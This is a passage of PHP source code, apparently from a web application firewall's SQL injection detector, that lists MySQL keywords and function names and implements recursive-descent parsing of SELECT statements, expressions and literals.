		"CONSISTENT",
		"CONSTRAINT",
		"CONSTRAINT_CATALOG",
		"CONSTRAINT_NAME",
		"CONSTRAINT_SCHEMA",
		"CONTAINS",
		"CONTEXT",
		"CONTINUE",
		"CONTRIBUTORS",
		"CONVERT",
		"CPU",
		"CREATE",
		"CROSS",
		"CUBE",
		"CURRENT_DATE",
		"CURRENT_TIME",
		"CURRENT_TIMESTAMP",
		"CURRENT_USER",
		"CURSOR",
		"CURSOR_NAME",
		"DATA",
		"DATABASE",
		"DATABASES",
		"DATAFILE",
		"DATE",
		"DATETIME",
		"DAY",
		"DAY_HOUR",
		"DAY_MICROSECOND",
		"DAY_MINUTE",
		"DAY_SECOND",
		"DEALLOCATE",
		"DEC",
		"DECIMAL",
		"DECLARE",
		"DEFAULT",
		"DEFINER",
		"DELAYED",
		"DELAY_KEY_WRITE",
		"DELETE",
		"DESC",
		"DESCRIBE",
		"DES_KEY_FILE",
		"DETERMINISTIC",
		"DIRECTORY",
		"DISABLE",
		"DISCARD",
		"DISK",
		"DISTINCT",
		"DISTINCTROW",
		"DIV",
		"DO",
		"DOUBLE",
		"DROP",
		"DUAL",
		"DUMPFILE",
		"DUPLICATE",
		"DYNAMIC",
		"EACH",
		"ELSE",
		"ELSEIF",
		"ENABLE",
		"ENCLOSED",
		"END",
		"ENDS",
		"ENGINE",
		"ENGINES",
		"ENUM",
		"ERROR",
		"ERRORS",
		"ESCAPE",
		"ESCAPED",
		"EVENT",
		"EVENTS",
		"EVERY",
		"EXECUTE",
		"EXISTS",
		"EXIT",
		"EXPANSION",
		"EXPLAIN",
		"EXTENDED",
		"EXTENT_SIZE",
		"FALSE",
		"FAST",
		"FAULTS",
		"FETCH",
		"FIELDS",
		"FILE",
		"FIRST",
		"FIXED",
		"FLOAT",
		"FLOAT4",
		"FLOAT8",
		"FLUSH",
		"FOR",
		"FORCE",
		"FOREIGN",
		"FOUND",
		"FRAC_SECOND",
		"FROM",
		"FULL",
		"FULLTEXT",
		"FUNCTION",
		"GENERAL",
		"GEOMETRY",
		"GEOMETRYCOLLECTION",
		"GET_FORMAT",
		"GLOBAL",
		"GRANT",
		"GRANTS",
		"GROUP",
		"HANDLER",
		"HASH",
		"HAVING",
		"HELP",
		"HIGH_PRIORITY",
		"HOST",
		"HOSTS",
		"HOUR",
		"HOUR_MICROSECOND",
		"HOUR_MINUTE",
		"HOUR_SECOND",
		"IDENTIFIED",
		"IF",
		"IGNORE",
		"IGNORE_SERVER_IDS",
		"IMPORT",
		"IN",
		"INDEX",
		"INDEXES",
		"INFILE",
		"INITIAL_SIZE",
		"INNER",
		"INNOBASE",
		"INNODB",
		"INOUT",
		"INSENSITIVE",
		"INSERT",
		"INSERT_METHOD",
		"INSTALL",
		"INT",
		"INT1",
		"INT2",
		"INT3",
		"INT4",
		"INT8",
		"INTEGER",
		"INTERVAL",
		"INTO",
		"INVOKER",
		"IO",
		"IO_THREAD",
		"IPC",
		"IS",
		"ISOLATION",
		"ISSUER",
		"ITERATE",
		"JOIN",
		"KEY",
		"KEYS",
		"KEY_BLOCK_SIZE",
		"KILL",
		"LANGUAGE",
		"LAST",
		"LEADING",
		"LEAVE",
		"LEAVES",
		"LEFT",
		"LESS",
		"LEVEL",
		"LIKE",
		"LIMIT",
		"LINEAR",
		"LINES",
		"LINESTRING",
		"LIST",
		"LOAD",
		"LOCAL",
		"LOCALTIME",
		"LOCALTIMESTAMP",
		"LOCK",
		"LOCKS",
		"LOGFILE",
		"LOGS",
		"LONG",
		"LONGBLOB",
		"LONGTEXT",
		"LOOP",
		"LOW_PRIORITY",
		"MASTER",
		"MASTER_CONNECT_RETRY",
		"MASTER_HEARTBEAT_PERIOD",
		"MASTER_HOST",
		"MASTER_LOG_FILE",
		"MASTER_LOG_POS",
		"MASTER_PASSWORD",
		"MASTER_PORT",
		"MASTER_SERVER_ID",
		"MASTER_SSL",
		"MASTER_SSL_CA",
		"MASTER_SSL_CAPATH",
		"MASTER_SSL_CERT",
		"MASTER_SSL_CIPHER",
		"MASTER_SSL_KEY",
		"MASTER_SSL_VERIFY_SERVER_CERT",
		"MASTER_USER",
		"MATCH",
		"MAXVALUE",
		"MAX_CONNECTIONS_PER_HOUR",
		"MAX_QUERIES_PER_HOUR",
		"MAX_ROWS",
		"MAX_SIZE",
		"MAX_UPDATES_PER_HOUR",
		"MAX_USER_CONNECTIONS",
		"MEDIUM",
		"MEDIUMBLOB",
		"MEDIUMINT",
		"MEDIUMTEXT",
		"MEMORY",
		"MERGE",
		"MESSAGE_TEXT",
		"MICROSECOND",
		"MIDDLEINT",
		"MIGRATE",
		"MINUTE",
		"MINUTE_MICROSECOND",
		"MINUTE_SECOND",
		"MIN_ROWS",
		"MOD",
		"MODE",
		"MODIFIES",
		"MODIFY",
		"MONTH",
		"MULTILINESTRING",
		"MULTIPOINT",
		"MULTIPOLYGON",
		"MUTEX",
		"MYSQL_ERRNO",
		"NAME",
		"NAMES",
		"NATIONAL",
		"NATURAL",
		"NCHAR",
		"NDB",
		"NDBCLUSTER",
		"NEW",
		"NEXT",
		"NO",
		"NODEGROUP",
		"NONE",
		"NOT",
		"NO_WAIT",
		"NO_WRITE_TO_BINLOG",
		"NULL",
		"NUMERIC",
		"NVARCHAR",
		"OFFSET",
		"OLD_PASSWORD",
		"ON",
		"ONE",
		"ONE_SHOT",
		"OPEN",
		"OPTIMIZE",
		"OPTION",
		"OPTIONALLY",
		"OPTIONS",
		"OR",
		"ORDER",
		"OUT",
		"OUTER",
		"OUTFILE",
		"OWNER",
		"PACK_KEYS",
		"PAGE",
		"PARSER",
		"PARTIAL",
		"PARTITION",
		"PARTITIONING",
		"PARTITIONS",
		"PASSWORD",
		"PHASE",
		"PLUGIN",
		"PLUGINS",
		"POINT",
		"POLYGON",
		"PORT",
		"PRECISION",
		"PREPARE",
		"PRESERVE",
		"PREV",
		"PRIMARY",
		"PRIVILEGES",
		"PROCEDURE",
		"PROCESSLIST",
		"PROFILE",
		"PROFILES",
		"PROXY",
		"PURGE",
		"QUARTER",
		"QUERY",
		"QUICK",
		"RANGE",
		"READ",
		"READS",
		"READ_ONLY",
		"READ_WRITE",
		"REAL",
		"REBUILD",
		"RECOVER",
		"REDOFILE",
		"REDO_BUFFER_SIZE",
		"REDUNDANT",
		"REFERENCES",
		"REGEXP",
		"RELAY",
		"RELAYLOG",
		"RELAY_LOG_FILE",
		"RELAY_LOG_POS",
		"RELAY_THREAD",
		"RELEASE",
		"RELOAD",
		"REMOVE",
		"RENAME",
		"REORGANIZE",
		"REPAIR",
		"REPEAT",
		"REPEATABLE",
		"REPLACE",
		"REPLICATION",
		"REQUIRE",
		"RESET",
		"RESIGNAL",
		"RESTORE",
		"RESTRICT",
		"RESUME",
		"RETURN",
		"RETURNS",
		"REVOKE",
		"RIGHT",
		"RLIKE",
		"ROLLBACK",
		"ROLLUP",
		"ROUTINE",
		"ROW",
		"ROWS",
		"ROW_FORMAT",
		"RTREE",
		"SAVEPOINT",
		"SCHEDULE",
		"SCHEMA",
		"SCHEMAS",
		"SCHEMA_NAME",
		"SECOND",
		"SECOND_MICROSECOND",
		"SECURITY",
		"SELECT",
		"SENSITIVE",
		"SEPARATOR",
		"SERIAL",
		"SERIALIZABLE",
		"SERVER",
		"SESSION",
		"SET",
		"SHARE",
		"SHOW",
		"SHUTDOWN",
		"SIGNAL",
		"SIGNED",
		"SIMPLE",
		"SLAVE",
		"SLOW",
		"SMALLINT",
		"SNAPSHOT",
		"SOCKET",
		"SOME",
		"SONAME",
		"SOUNDS",
		"SOURCE",
		"SPATIAL",
		"SPECIFIC",
		"SQL",
		"SQLEXCEPTION",
		"SQLSTATE",
		"SQLWARNING",
		"SQL_BIG_RESULT",
		"SQL_BUFFER_RESULT",
		"SQL_CACHE",
		"SQL_CALC_FOUND_ROWS",
		"SQL_NO_CACHE",
		"SQL_SMALL_RESULT",
		"SQL_THREAD",
		"SQL_TSI_DAY",
		"SQL_TSI_FRAC_SECOND",
		"SQL_TSI_HOUR",
		"SQL_TSI_MINUTE",
		"SQL_TSI_MONTH",
		"SQL_TSI_QUARTER",
		"SQL_TSI_SECOND",
		"SQL_TSI_WEEK",
		"SQL_TSI_YEAR",
		"SSL",
		"START",
		"STARTING",
		"STARTS",
		"STATUS",
		"STOP",
		"STORAGE",
		"STRAIGHT_JOIN",
		"STRING",
		"SUBCLASS_ORIGIN",
		"SUBJECT",
		"SUBPARTITION",
		"SUBPARTITIONS",
		"SUPER",
		"SUSPEND",
		"SWAPS",
		"SWITCHES",
		"TABLE",
		"TABLES",
		"TABLESPACE",
		"TABLE_CHECKSUM",
		"TABLE_NAME",
		"TEMPORARY",
		"TEMPTABLE",
		"TERMINATED",
		"TEXT",
		"THAN",
		"THEN",
		"TIME",
		"TIMESTAMP",
		"TIMESTAMPADD",
		"TIMESTAMPDIFF",
		"TINYBLOB",
		"TINYINT",
		"TINYTEXT",
		"TO",
		"TRAILING",
		"TRANSACTION",
		"TRIGGER",
		"TRIGGERS",
		"TRUE",
		"TRUNCATE",
		"TYPE",
		"TYPES",
		"UNCOMMITTED",
		"UNDEFINED",
		"UNDO",
		"UNDOFILE",
		"UNDO_BUFFER_SIZE",
		"UNICODE",
		"UNINSTALL",
		"UNION",
		"UNIQUE",
		"UNKNOWN",
		"UNLOCK",
		"UNSIGNED",
		"UNTIL",
		"UPDATE",
		"UPGRADE",
		"USAGE",
		"USE",
		"USER",
		"USER_RESOURCES",
		"USE_FRM",
		"USING",
		"UTC_DATE",
		"UTC_TIME",
		"UTC_TIMESTAMP",
		"VALUE",
		"VALUES",
		"VARBINARY",
		"VARCHAR",
		"VARCHARACTER",
		"VARIABLES",
		"VARYING",
		"VIEW",
		"WAIT",
		"WARNINGS",
		"WEEK",
		"WHEN",
		"WHERE",
		"WHILE",
		"WITH",
		"WORK",
		"WRAPPER",
		"WRITE",
		"X509",
		"XA",
		"XML",
		"XOR",
		"YEAR",
		"YEAR_MONTH",
		"ZEROFILL",
	);

	private $numberFunctions = array(
		'ABS',
		'ACOS',
		'ASIN',
		'ATAN2',
		'ATAN',
		'CEIL',
		'CEILING',
		'CONV',
		'COS',
		'COT',
		'CRC32',
		'DEGREES',
		'EXP',
		'FLOOR',
		'LN',
		'LOG10',
		'LOG2',
		'LOG',
		'MOD',
		'PI',
		'POW',
		'POWER',
		'RADIANS',
		'RAND',
		'ROUND',
		'SIGN',
		'SIN',
		'SQRT',
		'TAN',
		'TRUNCATE',
	);

	private $charFunctions = array(
		'ASCII_SYM',
		'BIN',
		'BIT_LENGTH',
		'CHAR_LENGTH',
		'CHAR',
		'CONCAT_WS',
		'CONCAT',
		'ELT',
		'EXPORT_SET',
		'FIELD',
		'FIND_IN_SET',
		'FORMAT',
		'FROM_BASE64',
		'HEX',
		'INSERT',
		'INSTR',
		'LEFT',
		'LENGTH',
		'LOAD_FILE',
		'LOCATE',
		'LOWER',
		'LPAD',
		'LTRIM',
		'MAKE_SET',
		'MID',
		'OCT',
		'ORD',
		'QUOTE',
		'REPEAT',
		'REPLACE',
		'REVERSE',
		'RIGHT',
		'RPAD',
		'RTRIM',
		'SOUNDEX',
		'SPACE',
		'STRCMP',
		'SUBSTRING_INDEX',
		'SUBSTRING',
		'TO_BASE64',
		'TRIM',
		'UNHEX',
		'UPPER',
		'WEIGHT_STRING',
	);

	private $timeFunctions = array(
		'ADDDATE',
		'ADDTIME',
		'CONVERT_TZ',
		'CURDATE',
		'CURTIME',
		'DATE_ADD',
		'DATE_FORMAT',
		'DATE_SUB',
		'DATE_SYM',
		'DATEDIFF',
		'DAYNAME',
		'DAYOFMONTH',
		'DAYOFWEEK',
		'DAYOFYEAR',
		'EXTRACT',
		'FROM_DAYS',
		'FROM_UNIXTIME',
		'GET_FORMAT',
		'HOUR',
		'LAST_DAY ',
		'MAKEDATE',
		'MAKETIME ',
		'MICROSECOND',
		'MINUTE',
		'MONTH',
		'MONTHNAME',
		'NOW',
		'PERIOD_ADD',
		'PERIOD_DIFF',
		'QUARTER',
		'SEC_TO_TIME',
		'SECOND',
		'STR_TO_DATE',
		'SUBTIME',
		'SYSDATE',
		'TIME_FORMAT',
		'TIME_TO_SEC',
		'TIME_SYM',
		'TIMEDIFF',
		'TIMESTAMP',
		'TIMESTAMPADD',
		'TIMESTAMPDIFF',
		'TO_DAYS',
		'TO_SECONDS',
		'UNIX_TIMESTAMP',
		'UTC_DATE',
		'UTC_TIME',
		'UTC_TIMESTAMP',
		'WEEK',
		'WEEKDAY',
		'WEEKOFYEAR',
		'YEAR',
		'YEARWEEK',
	);

	private $otherFunctions = array(
		'MAKE_SET', 'LOAD_FILE',
		'IF', 'IFNULL',
		'AES_ENCRYPT', 'AES_DECRYPT',
		'DECODE', 'ENCODE',
		'DES_DECRYPT', 'DES_ENCRYPT',
		'ENCRYPT', 'MD5',
		'OLD_PASSWORD', 'PASSWORD',
		'BENCHMARK', 'CHARSET', 'COERCIBILITY', 'COLLATION', 'CONNECTION_ID',
		'CURRENT_USER', 'DATABASE', 'SCHEMA', 'USER', 'SESSION_USER', 'SYSTEM_USER',
		'VERSION_SYM',
		'FOUND_ROWS', 'LAST_INSERT_ID', 'DEFAULT',
		'GET_LOCK', 'RELEASE_LOCK', 'IS_FREE_LOCK', 'IS_USED_LOCK', 'MASTER_POS_WAIT',
		'INET_ATON', 'INET_NTOA',
		'NAME_CONST',
		'SLEEP',
		'UUID',
		'VALUES',
	);

	private $groupFunctions = array(
		'AVG', 'COUNT', 'MAX_SYM', 'MIN_SYM', 'SUM',
		'BIT_AND', 'BIT_OR', 'BIT_XOR',
		'GROUP_CONCAT',
		'STD', 'STDDEV', 'STDDEV_POP', 'STDDEV_SAMP',
		'VAR_POP', 'VAR_SAMP', 'VARIANCE',
	);


	/**
	 * @param wfWAFSQLiLexer $lexer
	 * @param string $subject
	 * @param int $flags
	 */
	public function __construct($lexer, $subject = null, $flags = 0) {
		parent::__construct($lexer);
		$this->setSubject($subject);
		$this->setFlags($flags);
	}

	protected function _init() {
		$this->portableCommentVersions = array();
		$this->index = -1;
	}

	/**
	 * @param int $num
	 * @return bool
	 */
	public function hasMoreThanNumTokens($num) {
		$this->_init();

		$savePoint = $this->index;
		for ($i = 0; $i <= $num;) {
			$token=$this->nextToken();
			if($token){
				if(!$this->lexer->isValueLiteral($token->getType()))
					$i++;
			}
			else{
				$this->index = $savePoint;
				return false;
			}
		}
		$this->index = $savePoint;
		return true;
	}

	/**
	 * @return bool
	 */
	public function evaluate() {
		try {
			$this->parse();
			return true;
		} catch (wfWAFParserSyntaxError $e) {
			return false;
		}
	}

	public function parse() {
		$this->_init();
		if (
			$this->parseSelectStatement()
			|| $this->parseInsertStatement()
			|| $this->parseUpdateStatement()
//			|| $this->parseDeleteStatement()
//			|| $this->parseReplaceStatement()
		) {
			$token = $this->nextToken();
			if ($token && !$this->isTokenOfType($token, wfWAFSQLiLexer::SEMICOLON)) {
				$this->triggerSyntaxError($this->currentToken());
			}
		} else {
			$this->triggerSyntaxError($this->expectNextToken());
		}
	}

	/**
	 * @param int $index
	 * @return bool
	 */
	protected function getToken($index) {
		if (array_key_exists($index, $this->tokens)) {
			return $this->tokens[$index];
		}
		while ($token = $this->getLexer()->nextToken()) {
			if (!$this->isCommentToken($token)) {
				$this->tokens[$index] = $token;
				return $this->tokens[$index];
			}
		}
		return false;
	}


	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	public function isCommentToken($token) {
		if ($this->isTokenOfType($token, wfWAFSQLiLexer::MYSQL_PORTABLE_COMMENT_START)) {
			$this->portableCommentVersions[(int) preg_replace('/[^\d]/', '', $token->getValue())] = 1;
		}

		return $this->isTokenOfType($token, array(
			wfWAFSQLiLexer::SINGLE_LINE_COMMENT,
			wfWAFSQLiLexer::MULTI_LINE_COMMENT,
			wfWAFSQLiLexer::MYSQL_PORTABLE_COMMENT_START,
			wfWAFSQLiLexer::MYSQL_PORTABLE_COMMENT_END,
		));
	}

	public function hasMultiplePortableCommentVersions() {
		return count($this->portableCommentVersions) > 1;
	}

	/**
	 * Expects the next token to be an identifier with the supplied case-insensitive value
	 *
	 * @param $keyword
	 * @return wfWAFLexerToken
	 * @throws wfWAFParserSyntaxError
	 */
	protected function expectNextIdentifierEquals($keyword) {
		$nextToken = $this->expectNextToken();
		$this->expectTokenTypeEquals($nextToken, wfWAFSQLiLexer::UNQUOTED_IDENTIFIER);
		if ($nextToken->getLowerCaseValue() !== wfWAFUtils::strtolower($keyword)) {
			$this->triggerSyntaxError($nextToken);
		}
		return $nextToken;
	}

	private function parseSelectStatement() {
		$startIndex = $this->index;
		$hasSelect = false;
		while ($this->parseSelectExpression()) {
			$hasSelect = true;
			$savePoint = $this->index;
			if ($this->isIdentifierWithValue($this->nextToken(), 'union')) {
				$hasSelect = false;
				if (!$this->isIdentifierWithValue($this->nextToken(), 'all')) {
					$this->index--;
				}
				continue;
			}
			$this->index = $savePoint;
			break;
		}
		if ($hasSelect) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	private function parseSelectExpression() {
		$savePoint = $this->index;
		if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
			$this->parseSelectExpression() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
		) {
			return true;
		}
		$this->index = $savePoint;

		if ($this->parseSelect()) {
			if ($this->parseFrom()) {
				$this->parseWhere();
				$this->parseProcedure();
				$this->parseGroupBy();
				$this->parseHaving();
			}
			$this->parseOrderBy();
			$this->parseLimit();

			return true;
		}
		return false;
	}

	/**
	 * @throws wfWAFParserSyntaxError
	 */
	private function parseSelect() {
		$startPoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'select')) {
			$optionalSelectParamsRegex = '/ALL|DISTINCT(?:ROW)?|HIGH_PRIORITY|MAX_STATEMENT_TIME|STRAIGHT_JOIN|SQL_SMALL_RESULT|SQL_BIG_RESULT|SQL_BUFFER_RESULT|SQL_CACHE|SQL_NO_CACHE|SQL_CALC_FOUND_ROWS/i';
			while (true) {
				$savePoint = $this->index;
				$token = $this->nextToken();
				if ($token) {
					$value = $token->getLowerCaseValue();
					if (preg_match($optionalSelectParamsRegex, $value)) {
						if ($value == 'max_statement_time') {
							$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFSQLiLexer::EQUALS_SYMBOL);
							$this->expectTokenTypeInArray($this->expectNextToken(), array(
								wfWAFSQLiLexer::INTEGER_LITERAL,
								wfWAFSQLiLexer::BINARY_NUMBER_LITERAL,
								wfWAFSQLiLexer::HEX_NUMBER_LITERAL,
								wfWAFSQLiLexer::BINARY_NUMBER_LITERAL,
							));
						}
						continue;
					}
				}
				$this->index = $savePoint;
				break;
			}
			return $this->parseSelectList();
		}
		$this->index = $startPoint;
		return false;
	}

	/**
	 * @throws wfWAFParserSyntaxError
	 */
	private function parseSelectList() {
		$startPoint = $this->index;
		$hasSelects = false;
		if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::ASTERISK)) {
			$hasSelects = true;
			if (!$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
				// Just SELECT * [FROM ...]
				$this->index--;
				return true;
			}
		} else {
			$this->index = $startPoint;
		}
		while ($this->parseDisplayedColumn()) {
			$hasSelects = true;
			if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
				continue;
			}
			$this->index--;
			break;
		}
		if ($hasSelects) {
			return true;
		}
		$this->index = $startPoint;
		return false;
	}

	private function parseDisplayedColumn() {
		/*
		( table_spec DOT ASTERISK )
		|
		( column_spec (alias)? )
		|
		( bit_expr (alias)? )
		*/
		$savePoint = $this->index;
		if ($this->parseTableSpec() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::DOT) &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::ASTERISK)
		) {
			return true;
		}
		$this->index = $savePoint;

		$savePoint = $this->index;
		if ($this->parseExpression()) {
			$this->parseAlias();
			return true;
		}
		$this->index = $savePoint;

		$savePoint = $this->index;
		if ($this->parseColumnSpec()) {
			$this->parseAlias();
			return true;
		}
		$this->index = $savePoint;

		return false;
	}

	/**
	 * @return bool
	 */
	private function parseExpressionList() {
		$startIndex = $this->index;
		if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS)) {
			$hasExpressions = false;
			while ($this->parseExpression()) {
				$hasExpressions = true;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
					continue;
				}
				$this->index--;
				break;
			}
			if ($hasExpressions && $this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	private function parseExpression() {
		// Combines these:
		// exp_factor3 ( AND_SYM exp_factor3 )* ;
		// expression:	exp_factor1 ( OR_SYM exp_factor1 )* ;
		// exp_factor1:	exp_factor2 ( XOR exp_factor2 )* ;
		// exp_factor2:	exp_factor3 ( AND_SYM exp_factor3 )* ;

		$savePoint = $this->index;
		$hasExpression = false;
		while ($this->parseExpressionFactor3()) {
			$hasExpression = true;
			$savePoint2 = $this->index;
			$token = $this->nextToken();
			if ($this->isOrToken($token) || $this->isAndToken($token) || $this->isIdentifierWithValue($token, 'xor')) {
				continue;
			}
			$this->index = $savePoint2;
			break;
		}
		if ($hasExpression) {
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	private function parseExpressionFactor3() {
		// (NOT_SYM)? exp_factor4 ;
		$savePoint = $this->index;
		if (!$this->isNotSymbolToken($this->nextToken())) {
			$this->index--;
		}
		if ($this->parseExpressionFactor4()) {
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	private function parseExpressionFactor4() {
		// bool_primary ( IS_SYM (NOT_SYM)? (boolean_literal|NULL_SYM) )? ;
		$savePoint = $this->index;
		if ($this->parseBoolPrimary()) {
			$savePoint = $this->index;
			if ($this->isIdentifierWithValue($this->nextToken(), 'is')) {
				if (!$this->isNotSymbolToken($this->nextToken())) {
					$this->index--;
				}
				if ($this->isIdentifierWithValue($this->nextToken(), array(
					'true', 'false', 'null',
				))
				) {
					return true;
				}
			}
			$this->index = $savePoint;
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseBoolPrimary() {
		$startIndex = $this->index;
		$token = $this->nextToken();
		if ($token) {
			$hasNot = false;
			if ($this->isNotSymbolToken($token)) {
				$hasNot = true;
				$token = $this->nextToken();
			}
			$val = $token->getLowerCaseValue();
			if ($token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER) {
				if ($val === 'exists' && $this->parseSubquery()) {
					return true;
				} else if ($hasNot) {
					$this->index = $startIndex;
					return false;
				}
			}
			if (!$hasNot) {
				$this->index = $startIndex;
			}
		}

		if ($this->parsePredicate()) {
			$savePoint = $this->index;
			$opToken = $this->nextToken();
			if ($opToken) {
				switch ($opToken->getType()) {
					case wfWAFSQLiLexer::EQUALS_SYMBOL:
					case wfWAFSQLiLexer::LESS_THAN:
					case wfWAFSQLiLexer::GREATER_THAN:
					case wfWAFSQLiLexer::LESS_THAN_EQUAL_TO:
					case wfWAFSQLiLexer::GREATER_THAN_EQUAL_TO:
					case wfWAFSQLiLexer::NOT_EQUALS:
					case wfWAFSQLiLexer::SET_VAR:
						$savePoint2 = $this->index;
						if ($this->isIdentifierWithValue($this->nextToken(), array(
								'any', 'all'
							)) &&
							$this->parseSubquery()
						) {
							return true;
						}
						$this->index = $savePoint2;

						$savePoint2 = $this->index;
						if ($this->testForSubquery() && $this->parseSubquery()) {
							return true;
						}
						$this->index = $savePoint2;

						if ($this->parsePredicate()) {
							return true;
						}
						$this->index = $startIndex;
						return false;
				}
			}
			$this->index = $savePoint;
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	private function parsePredicate() {
		$startIndex = $this->index;
		if ($this->parseBitExpression()) {
			$savePoint = $this->index;
			$token = $this->nextToken();
			if ($token) {
				if ($hasNot = $this->isNotSymbolToken($token)) {
					$token = $this->nextToken();
					if (!$token) {
						$this->index = $startIndex;
						return false;
					}
				}
				$val = $token->getLowerCaseValue();

				if ($token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER) {
					switch ($val) {
						case 'in':
							if ($this->parseSubquery() || $this->parseExpressionList()) {
								return true;
							}
							break;

						case 'between':
							if ($this->parseBitExpression() && $this->isIdentifierWithValue($this->nextToken(), 'and') &&
								$this->parsePredicate()
							) {
								return true;
							}
							break;

						case 'sounds':
							if ($this->isIdentifierWithValue($this->nextToken(), 'like') &&
								$this->parseBitExpression()
							) {
								return true;
							}
							break;

						case 'like':
						case 'rlike':
							if ($this->parseSimpleExpression()) {
								// We've got a LIKE statement at this point
								$savePoint = $this->index;
								if ($this->isIdentifierWithValue($this->nextToken(), 'escape') &&
									$this->parseSimpleExpression()
								) {
									return true;
								}
								$this->index = $savePoint;
								return true;
							}
							break;

						case 'regexp':
							if ($this->parseBitExpression()) {
								return true;
							}
							break;

						default:
							if ($hasNot) {
								$this->index = $startIndex;
								return false;
							}
							break;
					}
				}
			}
			$this->index = $savePoint;
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseBitExpression() {
		// factor1 ( VERTBAR factor1 )? ;
		$savePoint = $this->index;
		if ($this->parseBitExprFactor5()) {
			$savePoint = $this->index;
			$token = $this->nextToken();
			if (($this->isTokenOfType($token, array(
						wfWAFSQLiLexer::BIT_OR,
						wfWAFSQLiLexer::BIT_AND,
						wfWAFSQLiLexer::BIT_XOR,
						wfWAFSQLiLexer::BIT_LEFT_SHIFT,
						wfWAFSQLiLexer::BIT_RIGHT_SHIFT,
						wfWAFSQLiLexer::BIT_INVERSION,
						wfWAFSQLiLexer::PLUS,
						wfWAFSQLiLexer::MINUS,
						wfWAFSQLiLexer::ASTERISK,
						wfWAFSQLiLexer::DIVISION,
						wfWAFSQLiLexer::MOD,
					))
					||
					$this->isIdentifierWithValue($token, array(
						'div', 'mod'
					))) &&
				$this->parseBitExpression()
			) {
				return true;
			}
			$this->index = $savePoint;
			return true;
		}
		$this->index = $savePoint;
		return false;
	}


	private function parseBitExprFactor5() {
		// factor6 ( (PLUS|MINUS) interval_expr )? ;
		$savePoint = $this->index;
		if ($this->parseBitExprFactor6()) {
			$savePoint = $this->index;
			if ($this->isTokenOfType($this->nextToken(), array(
					wfWAFSQLiLexer::PLUS,
					wfWAFSQLiLexer::MINUS,
				)) && $this->parseIntervalExpression()
			) {
				return true;
			}
			$this->index = $savePoint;
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	private function parseBitExprFactor6() {
		// (PLUS | MINUS | NEGATION | BINARY) simple_expr
		// | simple_expr ;

		$startPoint = $this->index;
		$savePoint = $this->index;
		while (
			($token = $this->nextToken()) &&
			(
				$this->isTokenOfType($token, array(
					wfWAFSQLiLexer::PLUS,
					wfWAFSQLiLexer::MINUS,
				)) ||
				($this->isTokenOfType($token, wfWAFSQLiLexer::BIT_INVERSION)) ||
				($this->isIdentifierWithValue($token, 'BINARY'))
			)
		) {
			$savePoint = $this->index;
		}
		$this->index = $savePoint;

		if ($this->parseSimpleExpression()) {
			return true;
		}
		$this->index = $startPoint;
		return false;

	}

	/**
	 * literal_value
	 * | column_spec
	 * | function_call
	 * | USER_VAR
	 * | expression_list
	 * | (ROW_SYM expression_list)
	 * | subquery
	 * | EXISTS subquery
	 * | {identifier expr}
	 * | match_against_statement
	 * | case_when_statement
	 * | interval_expr
	 *
	 * @return bool
	 */
	private function parseSimpleExpression() {
		$startPoint = $this->index;
		$simple = ($parseLiteral = $this->parseLiteral()) ||
			($parseMatchAgainst = $this->parseMatchAgainst()) ||
			($parseFunctionCall = $this->parseFunctionCall()) ||
			($parseVariable = $this->parseVariable()) ||
			($parseExpressionList = $this->parseExpressionList()) ||
			($parseSubquery = $this->parseSubquery()) ||
			($parseExistsSubquery = $this->parseExistsSubquery()) ||
			($parseCaseWhen = $this->parseCaseWhen()) ||
			($parseODBCExpression = $this->parseODBCExpression()) ||
			($parseIntervalExpression = $this->parseIntervalExpression()) ||
			($parseColumnSpec = $this->parseColumnSpec());

		if ($simple) {
			$token = $this->nextToken();
			if ($token && $token->getLowerCaseValue() == 'collate') {
				$savePoint = $this->index;
				if ($this->parseCollationName()) {
					return true;
				}
				$this->index = $savePoint;
			} else {
				$this->index--;
			}
			return true;
		}
		$this->index = $startPoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseLiteral() {
		$startIndex = $this->index;
		$savePoint = $this->index;
		while ($this->isTokenOfType($this->nextToken(), array(
			wfWAFSQLiLexer::PLUS,
			wfWAFSQLiLexer::MINUS,
		))) {
			$savePoint = $this->index;
		}
		$this->index = $savePoint;

		// Check if this is a Character Set Introducer
		$nextToken = $this->nextToken();
		$hasCharacterSetIntroducer = $this->isTokenOfType($nextToken, wfWAFSQLiLexer::UNQUOTED_IDENTIFIER) &&
			substr($nextToken->getValue(), 0, 1) === '_';
		if (!$hasCharacterSetIntroducer) {
			$this->index--;
		}

		$validLiteral = false;
		$nextToken = $this->nextToken();
		if ($nextToken) {
			switch ($nextToken->getType()) {
				case wfWAFSQLiLexer::INTEGER_LITERAL:
				case wfWAFSQLiLexer::BINARY_NUMBER_LITERAL:
				case wfWAFSQLiLexer::HEX_NUMBER_LITERAL:
				case wfWAFSQLiLexer::REAL_NUMBER_LITERAL:
					$validLiteral = true;
					break;
				// Allow concatenation: 'test' 'test' is valid
				case wfWAFSQLiLexer::DOUBLE_STRING_LITERAL:
				case wfWAFSQLiLexer::SINGLE_STRING_LITERAL:
